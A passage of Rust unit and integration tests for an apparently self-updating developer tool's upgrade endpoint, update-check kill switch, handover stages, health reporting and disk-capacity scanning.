22346 let talks = Talks::at(home.path().join("talks"));
22347 let ui = Ui::new(
22348 Queue::at(home.path().join("queue")),
22349 Questions::at(home.path().join("questions")),
22350 talks.clone(),
22351 home.path().join("runs"),
22352 home.path().to_path_buf(),
22353 PathBuf::from("/repo"),
22354 )
22355 .with_worktrees_root(home.path().join("wt"));
22356 let id = "20260901-000000-order";
22357 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22358 let slots = ui.talk_turns.lock().unwrap();
22360 let dropper = std::thread::spawn(move || drop(turn));
22361 let start = std::time::Instant::now();
22362 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22363 std::thread::sleep(Duration::from_millis(5));
22364 }
22365 assert!(!talks.turn_held(id), "the lease is released first");
22366 assert!(slots.live.contains(id), "the slot is still held meanwhile");
22367 drop(slots);
22368 dropper.join().expect("join");
22369 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22370 }
22371
22372 #[tokio::test]
22373 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22374 let fx = Fixture::start().await;
22375 let mut beat = crate::daemon::Status::new();
22376 beat.worker_protocol = None;
22377 beat.pid = 4321;
22378 beat.updated_at = jiff::Timestamp::now();
22379 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22380 .expect("publish a heartbeat");
22381
22382 let res = fx.post("/api/upgrade", None).await;
22383 assert_eq!(res.status, 409);
22384 }
22385
22386 #[test]
22393 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22394 assert!(!should_spawn_recheck(&crate::config::Update {
22395 mode: UpdateMode::Off,
22396 interval: None,
22397 auto_restart: false,
22398 }));
22399
22400 unsafe {
22403 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22404 }
22405 let killed = should_spawn_recheck(&crate::config::Update {
22406 mode: UpdateMode::Notify,
22407 interval: None,
22408 auto_restart: false,
22409 });
22410 unsafe {
22411 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22412 }
22413 assert!(
22414 !killed,
22415 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22416 one-time startup check"
22417 );
22418
22419 assert!(should_spawn_recheck(&crate::config::Update {
22420 mode: UpdateMode::Notify,
22421 interval: None,
22422 auto_restart: false,
22423 }));
22424 }
22425
22426 #[test]
22432 fn recheck_poll_period_tracks_a_short_configured_interval() {
22433 let short = crate::config::Update {
22434 mode: UpdateMode::Notify,
22435 interval: Some("1m".to_owned()),
22436 auto_restart: false,
22437 };
22438 let period = recheck_poll_period(&short);
22439 assert!(
22440 period <= Duration::from_secs(30),
22441 "a one-minute interval must wake the task far sooner than the \
22442 default ceiling, or the deck would not notice within the \
22443 interval the operator configured: got {period:?}"
22444 );
22445
22446 let default = crate::config::Update {
22447 mode: UpdateMode::Notify,
22448 interval: None,
22449 auto_restart: false,
22450 };
22451 assert_eq!(
22452 recheck_poll_period(&default),
22453 UPDATE_RECHECK_POLL_MAX,
22454 "the default day-long interval should poll at the (capped) \
22455 ceiling rather than needlessly often"
22456 );
22457 }
22458
22459 #[test]
22467 fn recheck_skips_the_network_before_the_interval_elapses() {
22468 let dir = TempDir::new().expect("temp dir");
22469 let path = dir.path().join("state.json");
22470 let state = kaishin::UpdateCheckState {
22471 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22472 last_known_latest: None,
22473 last_known_url: None,
22474 };
22475 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22476
22477 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22478 assert!(
22479 !update_recheck_due(&checker, None),
22480 "a check made moments ago must not be repeated before the \
22481 configured interval elapses"
22482 );
22483 }
22484
22485 #[test]
22491 fn recheck_defers_to_an_upgrade_already_in_flight() {
22492 let dir = TempDir::new().expect("temp dir");
22493 let path = dir.path().join("state.json");
22494 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22495 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22496
22497 assert!(
22498 !update_recheck_due(&checker, Some(&progress)),
22499 "a recheck must not run while an upgrade this deck started is \
22500 still moving"
22501 );
22502 }
22503
22504 #[tokio::test]
22505 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22506 unsafe {
22518 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22519 }
22520 let fx = Fixture::start().await;
22521 let res = fx.post("/api/upgrade", None).await;
22522 unsafe {
22523 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22524 }
22525 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22526 let body = res.json();
22527 assert!(body["to"].is_null(), "there was no release to move to");
22528 assert!(body["parked"].is_null(), "and nothing was parked");
22529 assert!(
22530 body["detail"]
22531 .as_str()
22532 .unwrap()
22533 .contains("disabled by MAGI_NO_AUTOUPDATE"),
22534 "{body:?}"
22535 );
22536 }
22537
22538 #[test]
22539 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22540 use AutoUpgradeDecision::{Skip, Trigger, Wait};
22541 let mut cfg = Update::default();
22542 assert!(matches!(
22543 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22544 Skip(_)
22545 ));
22546 cfg.auto_restart = true;
22547 assert_eq!(
22548 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22549 Trigger
22550 );
22551 assert_eq!(
22552 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22553 Wait
22554 );
22555 for (disabled, moving, failed) in [
22556 (true, false, None),
22557 (false, true, None),
22558 (false, false, Some("v2")),
22559 ] {
22560 assert!(matches!(
22561 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22562 Skip(_)
22563 ));
22564 }
22565 assert_eq!(
22566 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22567 Trigger
22568 );
22569 cfg.mode = UpdateMode::Off;
22570 assert!(matches!(
22571 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22572 Skip(_)
22573 ));
22574 }
22575
22576 #[test]
22577 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22578 let home = TempDir::new().unwrap();
22579 let ui = idle_ui(&home);
22580 assert!(!ui.auto_upgrade_busy());
22581 let directory = home.path().join("workers/jobs/abcdef");
22582 std::fs::create_dir_all(&directory).unwrap();
22583 let mut job = crate::worker::Job {
22584 id: "abcdef".into(),
22585 sequence: 1,
22586 kind: "scheduler".into(),
22587 key: "scheduler".into(),
22588 payload: serde_json::json!({}),
22589 generation: "test".into(),
22590 version: None,
22591 status: crate::worker::Status::Running,
22592 result: None,
22593 pid: None,
22594 created_at: 0,
22595 finished_at: None,
22596 };
22597 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22598 let write = |job: &crate::worker::Job| {
22599 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22600 };
22601 write(&job);
22602 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22603 for kind in ["task", "chat"] {
22604 job.kind = kind.into();
22605 write(&job);
22606 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22607 }
22608 drop(lease);
22609 assert!(
22613 !ui.auto_upgrade_busy(),
22614 "completed execution permits updates"
22615 );
22616 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22617 assert!(
22618 ui.auto_upgrade_busy(),
22619 "unreadable worker state defers updates"
22620 );
22621 }
22622
22623 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22624 Box::pin(async { anyhow::bail!("test installer failed") })
22625 }
22626
22627 #[tokio::test]
22628 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22629 let home = TempDir::new().unwrap();
22630 std::fs::write(
22631 home.path().join("magi.toml"),
22632 "[update]\nauto_restart = true\n",
22633 )
22634 .unwrap();
22635 let mut ui = idle_ui(&home);
22636 ui.repo = home.path().to_path_buf();
22637 ui.upgrade_runner = fail_test_upgrade;
22639 let ui = Arc::new(ui);
22640 let latest = || {
22641 Some(kaishin::LatestRelease {
22642 tag_name: "v999.0.0".into(),
22643 html_url: String::new(),
22644 })
22645 };
22646 ui.talk_turns.lock().unwrap().live.insert("busy".into());
22647 assert_eq!(
22648 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22649 .await
22650 .status(),
22651 StatusCode::NO_CONTENT
22652 );
22653 assert!(updater::read_progress(home.path()).is_none());
22654 ui.talk_turns.lock().unwrap().live.clear();
22655 let gate = ui.upgrade_gate.lock().await;
22656 assert_eq!(
22657 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22658 .await
22659 .status(),
22660 StatusCode::CONFLICT
22661 );
22662 drop(gate);
22663 assert_eq!(
22664 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22665 .await
22666 .status(),
22667 StatusCode::ACCEPTED
22668 );
22669 let progress = updater::read_progress(home.path()).unwrap();
22670 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22671 assert_eq!(progress.stage, updater::Stage::Downloading);
22672 assert!(progress.parked_run.is_none());
22673 assert!(ui.start_detached_loop().await.is_err());
22674 assert!(ui.start_loop(None).is_err());
22675 assert!(ui.begin_resume("late").is_err());
22676 tokio::time::timeout(Duration::from_secs(2), async {
22677 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22678 tokio::task::yield_now().await;
22679 }
22680 })
22681 .await
22682 .unwrap();
22683 let progress = updater::read_progress(home.path()).unwrap();
22684 assert_eq!(progress.stage, updater::Stage::Failed);
22685 assert_eq!(
22686 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22687 .await
22688 .status(),
22689 StatusCode::NO_CONTENT
22690 );
22691 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22693 assert_eq!(
22694 finish_upgrade_request(&ui, result).status(),
22695 StatusCode::ACCEPTED
22696 );
22697 assert_eq!(
22698 updater::read_progress(home.path()).unwrap().trigger,
22699 updater::UpgradeTrigger::Manual
22700 );
22701 tokio::time::timeout(Duration::from_secs(2), async {
22702 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22703 tokio::task::yield_now().await;
22704 }
22705 })
22706 .await
22707 .unwrap();
22708 }
22709
22710 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22711 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22712 p.stage = stage;
22713 p
22714 }
22715
22716 #[test]
22717 fn busy_stages_match_the_ui_set() {
22718 use crate::updater::Stage;
22719 assert!(APP_JS.contains(
22720 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22721 ));
22722 for s in [
22723 Stage::Downloading,
22724 Stage::Replaced,
22725 Stage::Parking,
22726 Stage::Restarting,
22727 ] {
22728 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22729 }
22730 for s in [Stage::Done, Stage::Failed] {
22731 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22732 }
22733 assert!(upgrade_in_motion(None).is_none());
22734 }
22735
22736 #[tokio::test]
22737 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22738 use crate::updater::Stage;
22739 for stage in [
22740 Stage::Downloading,
22741 Stage::Replaced,
22742 Stage::Parking,
22743 Stage::Restarting,
22744 ] {
22745 let fx = Fixture::start().await;
22746 let seeded = seeded_progress(stage);
22747 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22748 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22749 .expect("read");
22750
22751 let res = fx.post("/api/upgrade", None).await;
22752 assert_eq!(res.status, 409, "{stage:?}");
22753 let err = res.json()["error"].as_str().unwrap().to_owned();
22754 assert!(err.contains("already in progress"), "{err}");
22755 assert!(err.contains(stage.as_str()), "{err}");
22756
22757 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22758 .expect("read");
22759 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22760 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22761 .unwrap_or_default();
22762 assert!(!log.contains("signalling HANDOVER"), "{log}");
22763 }
22764 }
22765
22766 #[test]
22767 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22768 assert_eq!(
22769 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22770 Some(3723)
22771 );
22772 assert_eq!(
22773 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22774 Some(60)
22775 );
22776 assert_eq!(
22777 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22778 Some(0)
22779 );
22780 for message in [
22781 "permission denied",
22782 "GitHub API rate limit exceeded",
22783 "GitHub rate limit (resets in unknown)",
22784 "GitHub rate limit (resets in 18446744073709551615d)",
22785 ] {
22786 assert_eq!(upgrade_retry_after(message), None, "{message}");
22787 }
22788 }
22789
22790 #[tokio::test]
22791 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22792 let home = TempDir::new().unwrap();
22793 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22794 ui.start_loop(None).unwrap();
22795 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22796 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22797 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22798 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22799 let response = finish_upgrade_request(&ui, result);
22800 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22801 assert_eq!(response.headers()["retry-after"], "120");
22802 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22803 .await
22804 .unwrap();
22805 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22806 assert!(body["error"].as_str().unwrap().contains(reason));
22807 assert_eq!(body["retry_after_secs"], 120);
22808 assert!(body["retry_at"].as_u64().is_some());
22809 for _ in 0..2 {
22810 let view = health(State(ui.clone())).await.unwrap().0;
22811 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22812 assert_eq!(failure, body);
22813 }
22814 assert_eq!(
22815 std::fs::read(updater::progress_path(home.path())).unwrap(),
22816 before
22817 );
22818 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22819 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22820 let gate = ui.upgrade_gate.lock().await;
22822 assert_eq!(
22823 upgrade_post(State(ui.clone())).await.status(),
22824 StatusCode::CONFLICT
22825 );
22826 drop(gate);
22827 assert!(
22828 health(State(ui.clone()))
22829 .await
22830 .unwrap()
22831 .0
22832 .upgrade_request_error
22833 .is_some()
22834 );
22835 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22836 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22837 assert!(
22838 health(State(ui.clone()))
22839 .await
22840 .unwrap()
22841 .0
22842 .upgrade_request_error
22843 .is_none()
22844 );
22845 let live = ui.lock_loop().live.take().unwrap();
22846 live.stop.stop();
22847 live.handle.await.unwrap();
22848 }
22849
22850 #[tokio::test]
22851 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22852 use crate::updater::Stage;
22853 let repo = TempDir::new().expect("repo dir");
22854 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22855 .expect("write magi.toml");
22856 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22857 for stage in [Stage::Done, Stage::Failed] {
22858 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22859 let res = fx.post("/api/upgrade", None).await;
22860 assert_eq!(res.status, 200, "{stage:?}");
22861 }
22862 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22864 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22865 }
22866
22867 #[tokio::test]
22868 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22869 let repo = TempDir::new().expect("repo dir");
22885 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22886 .expect("write magi.toml");
22887 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22888
22889 let res = fx.post("/api/upgrade", None).await;
22895 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22896 let body = res.json();
22897 assert!(body["to"].is_null(), "there was no release to move to");
22898 assert!(body["parked"].is_null(), "and nothing was parked");
22899 assert!(
22900 body["detail"]
22901 .as_str()
22902 .unwrap()
22903 .contains("nothing restarted"),
22904 "{body:?}"
22905 );
22906 }
22907
22908 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22909 tokio::time::timeout(Duration::from_secs(5), async {
22910 while state.lock().unwrap().in_flight {
22911 tokio::task::yield_now().await;
22912 }
22913 })
22914 .await
22915 .expect("capacity scan finished");
22916 }
22917
22918 fn disk_test_scope(home: &FsPath) -> DiskScope {
22919 DiskScope {
22920 runs: home.join("runs"),
22921 worktrees: home.join("worktrees"),
22922 cache: Some(home.join("cache")),
22923 }
22924 }
22925
22926 fn known_disk_capacity() -> DiskCapacity {
22927 DiskCapacity {
22928 free_bytes: Some(100),
22929 runs_bytes: Some(200),
22930 worktrees_bytes: Some(300),
22931 cache_bytes: Some(400),
22932 }
22933 }
22934
22935 #[tokio::test]
22936 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22937 let home = TempDir::new().unwrap();
22938 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22939 let mut ui = delta_test_ui(home.path());
22940 let state = Arc::get_mut(&mut ui).unwrap();
22941 state.repo = home.path().to_owned();
22942 state.worktrees_root = home.path().join("worktrees");
22943 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22944 ui.monitor
22945 .worker_started
22946 .store(true, std::sync::atomic::Ordering::SeqCst);
22947 let cfg = deputy_config(&ui.repo);
22948 let scope = DiskScope::of(&ui, cfg.as_ref());
22949 let (started, reached) = tokio::sync::oneshot::channel();
22950 let (release, blocked) = std::sync::mpsc::channel();
22951 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22952 started.send(()).unwrap();
22953 blocked.recv().unwrap();
22954 known_disk_capacity()
22955 });
22956 assert!(cold.runs_bytes.is_none());
22957 tokio::time::timeout(Duration::from_secs(5), reached)
22958 .await
22959 .unwrap()
22960 .unwrap();
22961
22962 let requests: Vec<_> = (0..4)
22963 .map(|_| {
22964 let ui = ui.clone();
22965 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22966 })
22967 .collect();
22968 tokio::time::timeout(Duration::from_secs(5), async {
22969 for request in requests {
22970 let view = request.await.unwrap();
22971 let disk = serde_json::to_value(view.disk).unwrap();
22972 assert!(disk["runs_bytes"].is_null());
22973 assert!(disk["worktrees_bytes"].is_null());
22974 assert!(disk["free_bytes"].is_u64());
22977 }
22978 })
22979 .await
22980 .expect("health must return while the measurement is causally blocked");
22981 assert!(ui.monitor.disk.lock().unwrap().in_flight);
22982 assert!(
22984 ui.monitor
22985 .disk
22986 .lock()
22987 .unwrap()
22988 .capacity
22989 .runs_bytes
22990 .is_none()
22991 );
22992 release.send(()).unwrap();
22993 wait_for_disk_scan(&ui.monitor.disk).await;
22994 assert_eq!(
22995 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22996 Some(200)
22997 );
22998 }
22999
23000 #[tokio::test]
23001 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23002 let home = TempDir::new().unwrap();
23003 let scope = disk_test_scope(home.path());
23004 let state = Arc::new(Mutex::new(DiskObservation {
23005 scope: Some(scope.clone()),
23006 capacity: known_disk_capacity(),
23007 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23008 ..Default::default()
23009 }));
23010 let (started, reached) = tokio::sync::oneshot::channel();
23011 let (release, blocked) = std::sync::mpsc::channel();
23012 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23013 started.send(()).unwrap();
23014 blocked.recv().unwrap();
23015 DiskCapacity {
23016 runs_bytes: Some(250),
23017 ..Default::default()
23018 }
23019 });
23020 assert_eq!(before.cache_bytes, Some(400));
23021 tokio::time::timeout(Duration::from_secs(5), reached)
23022 .await
23023 .unwrap()
23024 .unwrap();
23025 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23026 for _ in 0..4 {
23027 let scans = duplicate_scans.clone();
23028 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23029 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23030 DiskCapacity::default()
23031 });
23032 assert_eq!(during.runs_bytes, Some(200));
23033 assert_eq!(during.cache_bytes, Some(400));
23034 }
23035 release.send(()).unwrap();
23036 wait_for_disk_scan(&state).await;
23037 let scans = duplicate_scans.clone();
23038 let after = DiskObservation::observe(&state, scope, move |_| {
23039 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23040 DiskCapacity::default()
23041 });
23042 wait_for_disk_scan(&state).await;
23043 assert_eq!(after.runs_bytes, Some(250));
23044 assert_eq!(after.free_bytes, Some(100));
23045 assert_eq!(after.cache_bytes, Some(400));
23046 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23047 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23048 }
23049
23050 #[tokio::test]
23051 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23052 let home = TempDir::new().unwrap();
23053 let old_scope = disk_test_scope(home.path());
23054 let mut new_scope = old_scope.clone();
23055 new_scope.cache = Some(home.path().join("replacement-cache"));
23056 let state = Arc::new(Mutex::new(DiskObservation {
23057 scope: Some(old_scope.clone()),
23058 capacity: known_disk_capacity(),
23059 ..Default::default()
23060 }));
23061 let (started, reached) = tokio::sync::oneshot::channel();
23062 let (release, blocked) = std::sync::mpsc::channel();
23063 DiskObservation::observe(&state, old_scope, move |_| {
23064 started.send(()).unwrap();
23065 blocked.recv().unwrap();
23066 known_disk_capacity()
23067 });
23068 tokio::time::timeout(Duration::from_secs(5), reached)
23069 .await
23070 .unwrap()
23071 .unwrap();
23072 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23073 let scans = duplicate_scans.clone();
23074 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23075 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23076 DiskCapacity::default()
23077 });
23078 assert!(changed.cache_bytes.is_none());
23079 assert!(changed.runs_bytes.is_none());
23080 release.send(()).unwrap();
23081 wait_for_disk_scan(&state).await;
23082 {
23083 let observation = state.lock().unwrap();
23084 assert!(observation.capacity.cache_bytes.is_none());
23085 assert!(observation.finished.is_none());
23086 }
23087 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23088 assert_eq!(scope, &new_scope);
23089 DiskCapacity {
23090 cache_bytes: Some(999),
23091 ..Default::default()
23092 }
23093 });
23094 wait_for_disk_scan(&state).await;
23095 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23096 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23097 }
23098
23099 #[tokio::test]
23100 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23101 let home = TempDir::new().unwrap();
23102 let scope = disk_test_scope(home.path());
23103 let state = Arc::new(Mutex::new(DiskObservation {
23104 scope: Some(scope.clone()),
23105 capacity: known_disk_capacity(),
23106 ..Default::default()
23107 }));
23108 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23109 wait_for_disk_scan(&state).await;
23110 {
23111 let mut observation = state.lock().unwrap();
23112 assert_eq!(observation.capacity.cache_bytes, Some(400));
23113 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23114 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23115 }
23116 DiskObservation::observe(&state, scope, |_| DiskCapacity {
23117 cache_bytes: Some(450),
23118 ..Default::default()
23119 });
23120 wait_for_disk_scan(&state).await;
23121 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23122 }
23123
23124 #[test]
23125 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23126 let home = TempDir::new().unwrap();
23127 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23128 assert_eq!(disk_capacity_size(home.path()), Some(0));
23129 std::fs::create_dir(home.path().join("nested")).unwrap();
23130 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23131 assert_eq!(disk_capacity_size(home.path()), Some(5));
23132 #[cfg(unix)]
23133 {
23134 assert_eq!(
23136 disk_capacity_size(&home.path().join("nested/data/child")),
23137 None
23138 );
23139 }
23140 #[cfg(unix)]
23141 {
23142 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23143 assert_eq!(disk_capacity_size(home.path()), Some(5));
23144 }
23145 }
23146
23147 #[tokio::test]
23148 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23149 let repo = TempDir::new().expect("repo dir");
23154 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23155 .expect("write magi.toml");
23156 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23157
23158 let health = fx.get("/api/health").await.json();
23159 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23160 assert_eq!(
23161 health["update"]["available"], false,
23162 "checking is off, which reads as \"unknown\", not \"none\""
23163 );
23164 assert!(health["update"]["to"].is_null());
23165 assert!(
23166 health["upgrade"].is_null(),
23167 "nothing has ever asked this deck to upgrade"
23168 );
23169 }
23170
23171 #[tokio::test]
23172 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23173 let fx = Fixture::start().await;
23174 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23175
23176 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23177 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23178 progress.advance(crate::updater::Stage::Parking);
23179 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23180
23181 let health = fx.get("/api/health").await.json();
23182 assert_eq!(health["upgrade"]["stage"], "parking");
23183 assert_eq!(health["upgrade"]["from"], "0.5.1");
23184 assert_eq!(health["upgrade"]["to"], "0.5.2");
23185 let waiting_on = health["upgrade"]["waiting_on"]
23186 .as_str()
23187 .expect("waiting_on is set while parking a known run");
23188 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23189 assert!(waiting_on.contains("implementing"), "{waiting_on}");
23190 }
23191
23192 #[tokio::test]
23193 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23194 let fx = Fixture::start().await;
23195 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23196 progress.advance(crate::updater::Stage::Done);
23197 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23198
23199 let health = fx.get("/api/health").await.json();
23200 assert_eq!(health["upgrade"]["stage"], "done");
23201 assert!(
23202 health["upgrade"]["waiting_on"].is_null(),
23203 "nothing to wait on once it is done"
23204 );
23205 }
23206
23207 #[tokio::test]
23210 async fn the_handover_signal_wakes_one_waiter_once() {
23211 let signal = Notify::new();
23212 signal.notify_one();
23214 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23215 .await
23216 .expect("an early signal is still seen");
23217 assert!(
23219 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23220 .await
23221 .is_err(),
23222 "a consumed signal must not wake a second time"
23223 );
23224 let signal = std::sync::Arc::new(signal);
23226 let waiter = tokio::spawn({
23227 let signal = std::sync::Arc::clone(&signal);
23228 async move { wait_for_handover(&signal).await }
23229 });
23230 tokio::time::sleep(Duration::from_millis(20)).await;
23231 assert!(!waiter.is_finished(), "nothing was signalled yet");
23232 signal.notify_one();
23233 tokio::time::timeout(Duration::from_secs(5), waiter)
23234 .await
23235 .expect("a late signal wakes the waiter")
23236 .expect("join");
23237 }
23238
23239 #[tokio::test]
23240 async fn health_says_how_long_a_handover_has_been_stuck() {
23241 let fx = Fixture::start().await;
23242 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23243 progress.advance(crate::updater::Stage::Replaced);
23244 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23245 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23246
23247 let health = fx.get("/api/health").await.json();
23248 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23249 assert!(stuck >= 600, "{stuck}");
23250 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23251 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23252 }
23253
23254 #[tokio::test]
23255 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23256 let home = tempfile::tempdir().expect("temp home");
23257 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23258 progress.advance(crate::updater::Stage::Parking);
23259 crate::updater::write_progress(home.path(), &progress).expect("seed");
23260 let mut again = progress.clone();
23262 again.advance(crate::updater::Stage::Replaced);
23263 crate::updater::write_progress(home.path(), &again).expect("replaced");
23264 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23265 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23266 let after = crate::updater::read_progress(home.path()).expect("record");
23267 assert_eq!(after.stage, crate::updater::Stage::Parking);
23268 }
23269
23270 #[tokio::test]
23271 async fn health_does_not_call_a_live_parking_wait_stuck() {
